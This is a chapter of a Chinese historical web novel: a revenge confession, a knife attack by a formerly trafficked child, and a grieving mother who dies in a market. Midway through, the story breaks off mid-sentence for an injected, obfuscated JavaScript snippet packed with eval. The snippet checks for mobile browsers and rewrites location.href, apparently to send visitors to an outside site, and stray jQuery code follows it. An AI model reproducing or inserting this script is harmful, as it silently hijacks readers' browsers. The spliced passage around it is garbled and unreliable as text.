沉默在空气中凝成看不见的重量。
恰拉扬只是轻轻开口,声音穿透晏邦彦记忆的溯洄,再次让他窒息。
恰拉扬说:“是我杀的。”
晏邦彦目眦欲裂,心底的怒火轰然炸裂,他猛地上前一步,揪住恰拉扬的衣领,声音嘶哑:“为什么?”
恰拉扬的眼神陡然冷冽,被压抑许久的怒意被瞬间点燃,他回击道:“你祖父杀了我父亲,我再杀了你父亲,有何错?”
“什么?”晏邦彦的呼吸一滞,脸上满是不敢置信,“你父亲是谁?”
他一直以为恰拉扬只是苍厥流民的遗孤,从未想过他的身世另有隐情。晏慎之更不可能滥杀无辜,他无法接受恰拉扬竟是带着如此仇恨留在他们身边许久。
恰拉扬仿佛终于决意将一切撕开,缓缓却清晰地说道:“我的父亲是苍厥大将拉乌措,我出身苍厥贵族阿舍提氏,克苏拉大汗是我的舅舅。”
他的声音忽然低了下去,喉结颤动,吞进了那句——可我……也是一个哪儿都回不去的孩子。
寂静弥漫,罩住了所有人的呼吸。
姜渥丹静静地看着他,问道:“那乌丹与你又是什么关系?他为何变成那副模样?你又为何不顾一切地去寻他?你们苍厥人,到底发生了什么?”
话音刚落。
“你你你!”屋内骤然传来十一的惊叫,尖锐而惊惶。
姜渥丹心头一紧,立刻冲了进去。
轩窗大开,风汹涌灌入。只见一个身影身着黑衣,死死拽着十一,用一只手捂住她的嘴巴,正试图将她拖走。
姜渥丹眼疾手快,随手捡起地上一颗石子,指尖一弹,配合着她改造后的武器——
像弹弓一样发射了出去。
“砰——”石子精准地击中了那人的右腿,黑衣人踉跄了一下,十一趁机拼尽全力挣脱开来,反手撕开了那人的衣角。
撕裂声响起,黑布遮掩下的脸显露出来——
竟然是喀莫!
恰拉扬和晏邦彦随后也闻声赶到。
“喀莫,你想把你的姐姐带走?”只见姜渥丹看着喀莫,语气平淡却不容置疑。
恰拉扬话语刻薄至极:“哎,这不是那人尽皆知的小阎王吗?怎么把自己裹得个严严实实了。”
姜渥丹眼皮微跳,转头看向十一。
出乎意料的是,十一站在了喀莫面前,稚嫩的声音透着坚定:“请你不要这么说。”
姜渥丹缓步走近,喀莫却如受惊的雀鸟,目光惊惶的,死死拽着十一警惕地后退。
姜渥丹把这些看在眼里,她微微蹲下,只是为喀莫理了理凌乱的衣襟。
喀莫侧着脸,眼睫却微微颤动,宛如一只振翅的蝶。
恰拉扬忽然嗤笑了一声,嗓音带着几分兴味:“苍厥皇室确实种有清棘花,但寻常百姓压根见不着。而那些生长在鬼哭丘的野生清棘花,只生在最狭窄的沟壑中,成年人进不去,唯有孩童能钻进去。”
他顿了顿,目光幽深地看着喀莫:“那些商贩从人贩子手里买来孩子,先饿上几天,再告诉他们,谁摘得花最多,谁就能吃上更多的饭。姜渥丹,你身边这个喀莫,可是出了名的小孩杀手。”
姜渥丹眼神微敛,缓缓转头看他。
恰拉扬笑得更冷了些,继续道:“她为了能多吃几口饭,把那些和她一同被送进去的孩子全杀了,一个人抱着他们摘的清棘花回来。”
喀莫的身体微微一颤。
“那些商贩害怕她的行为引发其他孩子效仿,更害怕她的狠劲儿会让更多孩子拼死逃跑,于是,他们划破了她的脸,以此警告。”恰拉扬微微眯起眼,语调听似漫不经心,实则每个字都像锋利的刀刃,直戳人心,“可她在一次次的争抢中,早已遍体鳞伤,别的孩子不甘被她压制,反抗时也在她脸上留下了一道道伤痕。”
“呵,这样一来,‘小鬼杀手’就变成了一只花脸猫。”
他顿了顿,慢悠悠地继续道:“可那些孩子终究会长大,骨架变得僵硬,爬不进沟壑了,摘不来清棘花,便没了利用价值。商贩们连多施舍一口饭都不愿,索性一刀了结,省得他们白白占着活人的位置。”
恰拉扬的声音淡漠而悠长,却比凛冬的寒风更冷。
十一再也忍不住,急切地开口:“她是有苦衷的!姜姐姐,她不是坏孩子!”
恰拉扬只是一味的嗤笑,竟一时有点疯癫起来:“谁没有苦衷?但杀了人就是杀了人,这是事实。”
姜渥丹闻言,微微蹙眉,她察觉出他这句话似乎话中有话。
就在这时——
寒光一闪,杀意骤起。
喀莫的眼神如野兽般凌厉,猛然攥紧手中的刺刀,脚下一踏,身体如离弦之箭般掠出,直朝姜渥丹刺去!
带着疯狂的孤注一掷,刀锋划出森冷的弧度。
“小心!”
恰拉扬和晏邦彦几乎同时惊喝出声,疾步冲上前去,试图拦住喀莫。但她的速度快得惊人,凌厉的刀势已然逼近姜渥丹胸口!
然而,就在刀尖即将刺入目标的一瞬间,一道纤细的身影骤然闯入,两袖翻飞,风卷残雪般挡在姜渥丹身前——
“噗呲——”
刀锋破开血肉,温热的鲜血溅落在地,染红了冰冷的泥土。
喀莫的手猛地一颤,瞳孔剧烈收缩。她呆呆地望着自己的刀,却发现——
她刺中的,不是姜渥丹,而是十一。
十一瘦削的肩膀微微颤抖,鲜血自她的手臂缓缓滑落,滴在喀莫的衣襟上。
“够了!喀莫!”
十一终于忍不住,红着眼睛,声音里透着压抑已久的怒意和悲痛:“你再这样,我就真的把你丢下了!”
她的声音不再是那般软糯,而是如同锋利的刃,狠狠刺进喀莫的心脏。
喀莫的身体猛然一震,握着刀的手指逐渐松开,最终,刺刀脱手,落地,发出清脆的声响。
她怔怔地望着十一,眼中的戾气瞬间崩塌,取而代之的是难以言喻的惊惶与迷茫。
那一刻,她的神情,像极了一只被主人抛弃的流浪猫——眼底藏着不甘的挣扎,颤抖着,哀哀地望着唯一还能容纳她的人。
泪水在她眼眶里打转,最终无声地滑落,砸入尘土中,碎得彻底。
“真是危险。”晏邦彦顺势一把将姜渥丹拽到自己身后,眼神凌厉地盯着面前的女孩。
恰拉扬双手抱臂,语气玩味:“早就说了,这丫头吃肉不吐骨头,谁招惹她,最后只剩被剔骨的份。”
十一垂下头,手指攥紧了衣角。
姜渥丹轻轻上前,掌心落在两个小姑娘的脊背上,像拂去落尘般轻柔。
她低笑道:“姐姐请你们吃烧饼,好不好?”
她的声音带着暮春微风般的暖意。
十一和喀莫怔怔地抬头看着她,眼里还残留着方才的惊惶和不安。
姜渥丹却只是弯起眼睛,漫不经心地哼起小曲,仿佛什么都没发生一样:“还得去找李员外,把五姨娘托我带的东西送过去呢。”
说着,她一手牵起一个小姑娘,步履从容地沿着蜿蜒的羊肠小道走去,她掌心的温度透过微凉的指尖,一点点传递过去。
恰拉扬在后头瞪着他们,气得跳脚:“喂!你这女人耳聋了吗?”
晏邦彦轻笑一声,毫不犹豫地迈步跟上。
恰拉扬瞪大了眼睛,满脸不敢置信地望着前方那道坚定的背影,简直要被这不容置疑的态度逼疯:“不是,你们……”
可没人理他的怒火,他只能狠狠揉乱自己的头发,嘴里嘟囔着几句,最终还是一边抱怨一边快步追了上去。
“怎么才能找到那李员外?”姜渥丹一边走,一边微微蹙眉,思索着。
她回想起上次见到李员外时,那人最后投来的目光,阴鸷又带着某种让人不适的意味,让她不由得心生警惕。
“这条路通往康达拉国与宛秦国。”晏邦彦随口说道,目光望向前方,“丝绸、茶叶、瓷器,还有那朔漠汗国大汗的女儿,被送往京城时,也曾由此路经过。”
姜渥丹脚步微顿,缓缓吐出两个字:“和亲?”
“和亲。”晏邦彦声音淡漠。
她垂下眼帘,心底泛起一丝冷意。
多少女子,被迫离乡,踏上陌生的土地,成为一场场政治交易中的筹码?盛世高歌之下,真正被榨干的,始终是她们的血泪。
她们的名字鲜少被记住,她们的苦难也无人问津。可一旦权谋博弈需要,便会有人想起她们的存在。
这世道,何曾真正善待过女子?
烈日似火,炙烤着青石板,热浪翻滚,连空气都带着几分燥热。
市集上熙熙攘攘,人潮涌动,吆喝声、叫卖声此起彼伏,交错喧嚣着。炊烟升腾,烤饼的酥香、茶汤的清甜挑动着行人的味蕾。孩童光着脚丫在摊贩间嬉闹,妇人拎着菜篮,笑着同摊主讨价还价,铜钱落入木盘,叮当作响。
“客官,吃点啥?”店小二眼尖,见他们靠近,忙不迭地迎上来,手里抹布在桌上擦了又擦,脸上堆满殷勤的笑。
当饼饵端上来之际。
喀莫已经顾不上其他,伸手抓起油酥饼便狠狠咬了一口,滚烫的油汁顺着指缝滴落,她却浑不在意,埋头狼吞虎咽,吃得满嘴流油,腮帮子鼓鼓的。
旁边几张桌子上,几个大汉低声交谈,语气轻佻,带着几分幸灾乐祸。
“听说隔壁王裹子的婆娘跑了。”
“嗨,那可是花了他几十两银子买的,真是亏了。”
“不算亏吧,至少给他生了个胖小子,那孩子这几天还拽着人满市集找他娘呢。”
“那些江南来的小娘子就是水灵,等我攒够了钱,也得买一个。”
说话间,酒杯相碰,发出清脆的撞击声,伴随着粗鄙的大笑,在熙攘的人群中格外刺耳。
姜渥丹握紧手里的筷子,指尖泛白,眼底泛起一丝冷意。她想说什么,却最终只是抿了抿唇,将满腹的情绪压下。
就在这时,她的目光忽然定住了——
隔壁铺子的花灯下,一抹熟悉的身影映入眼帘。
司徒爱笑正站在一排琳琅满目的小玩意儿前,挑着一只彩绘糖人。他修长的手指轻轻拂过木雕,神色悠闲。忽然,他像是有所察觉,猛地抬起头,穿过花灯缝隙望向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15178481|164564||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她们。
他笑了起来,眉眼弯弯:“姜姑娘,晏公子,好久不见。”
姜渥丹微微一怔,司徒爱笑的眼珠子竟然这么黑吗,像幽深潭水,黑得深不见底。
她旋即轻笑,朝他招了招手,示意他过来。
司徒爱笑不紧不慢地穿过人群,径直落座在他们身旁。
姜渥丹墨玉眸闪过一丝微光,她急切地问道:“那牡丹木雕,送出去了吗?”
司徒爱笑漫不经心地点头:“送出去了。”
“太好了!”姜渥丹欣喜地拍了下手掌,“那你岂不是知道李员外住在哪里?”
司徒爱笑摇了摇唐人,笑意不减,却语调一转:“他有许多宅邸,但我不知道他现在在何处。李姑娘和她爹闹了矛盾,已经离家出走了。”
姜渥丹微微蹙眉。李墉言谈举止间皆是对女儿的宠溺,怎么看都不像会和女儿吵架,惹其愤怒离家的父亲。
她不解地问:“那他没有派人把她找回来?”
司徒爱笑垂眸,轻叹一声:“李姑娘执意不肯回家。”
“那你知道李蕴姑娘在何处吗?”
司徒爱笑抿了一口茶:“在喜乐赌坊。”
姜渥丹一行人正准备前往喜乐赌坊探查李蕴的下落。
“有没有人看见我的儿子!”
一个衣衫褴褛的妇人急匆匆地踉跄着冲进人群大吼,她散乱、焦急地扫过来往的人群。仿若那些陌生的面庞就隐藏着她苦苦寻觅的答案。
憔悴的面容,泪痕早已干涸,却未能掩盖那眼眶红肿得几乎凸起的痛苦。
姜渥丹见她抓住一个路人,颤声问:“有人见过我儿子吗?”
然而,回应她的,只有冷漠的目光和无动于衷的步伐。
有人不耐烦地推开她,“疯了吧。”
妇人被人群无情地推挤,最终跌入了姜渥丹的怀中。
她的身体微微颤抖,瘦弱的身躯像一片无助的落叶。她用哭腔轻轻地倾诉着:“我的儿子……前几日他说找到了一桩好差事,大晚上去抬轿子,说能挣几十两银子。我一听就觉得不对劲,哪有这么轻松的赚钱法?我急忙劝他,可他不听,说那可是这城里有名的大人物吩咐的,多少人抢破头都想去……我,唉,我早该拦住他,早知道会出事,可我终究没拦住……”
姜渥丹一听,眉心微蹙,她猜测道:恐怕她儿子是抬周春芽和李蕴轿子的轿夫之一。
她深吸一口气,眼中掠过一丝冷意,随即抬头,声音冷静却带着压抑的怒意:“那所谓的大人物是谁?”
妇人抬起那双哭得几乎失去光彩的眼睛,浑身颤抖,艰难地吐出一个名字:“叶长史……”
话音未落,她便昏了过去。
姜渥丹目光冷冽地看向恰拉扬:“你们苍厥人杀的,她儿子。”
恰拉扬听后,眼中却带着轻蔑:“那又如何?我杀的人还少了?就算是他——”他指了指晏邦彦,“杀的人也有几十吧。”
姜渥丹的脸色微沉,语气更加冷冽:“他们是无辜的百姓,手无缚鸡之力。”
恰拉扬冷漠回应:“这年头,活着也是罪。又不是天潢贵胄,也不是锦衣玉食,连一口饭都吃不上,每天饿肚子,苟延残喘,活得连自己都忘了为什么活着。不如一刀了结,免得活得太累。”
“他们为了几两银子奔波,不就是为了活下去,追求更好的生活吗?”姜渥丹语气犀利,“你凭什么把他们的生命贬低得一文不值?这世间的确如大熔炉,进来的人一个接一个地被烧掉,但同样,也没有人能任意裁决他人的命运。”
气氛仿佛一根弦被拉得过紧,随时会断裂。
十一默默紧握衣角,喀莫低垂着头,晏邦彦则静静地看着姜渥丹,司徒爱笑倒是……依然玩着糖人。
恰拉扬仿佛听到了天大的笑话,他道:“你在开玩笑吗?这世间哪有什么人能真正掌控命运?在权势的碾压下,生命被随意摆布,头颅一个接一个地滚落,堆积成山。你说在那王权之下,谁又不是任人宰割的羔羊?”
姜渥丹哑口无言。
在这吞噬人命的封建时代,人与人之间的尊严本就悬殊,她又如何去争辩那尚未萌芽的平等之理?
她用膝盖让妇人枕着,望向碧空。
“姜姑娘——”司徒爱笑问向她,“还去找李蕴姐姐吗?”
“找。”姜渥丹声音嘶哑。
恰拉扬沉默了一会道:“他儿子本来就要死了,右贤王用他们来炼制狼毒。不杀他们,他们也熬不过几日,迟早会被毒性蚕食得生不如死。倒不如……省得受那折磨。”
“右贤王……”
姜渥丹记得,姜未晞也似乎是要被这个苍厥的王炼制狼毒。
“她死了。”司徒爱笑看着那妇人似乎没了呼吸,低声道。
姜渥丹闻言,心头一紧,连忙伸出指尖去探妇人的鼻息。
——没有了。
就这样,在这熙熙攘攘的人群中,一个母亲带着未能等回儿子的执念,悄无声息地离开了人世。
“思念成疾,久病,是会药石无医的呢。”司徒爱笑笑着摇头呢喃,声音被风吹散在市井的喧嚣里。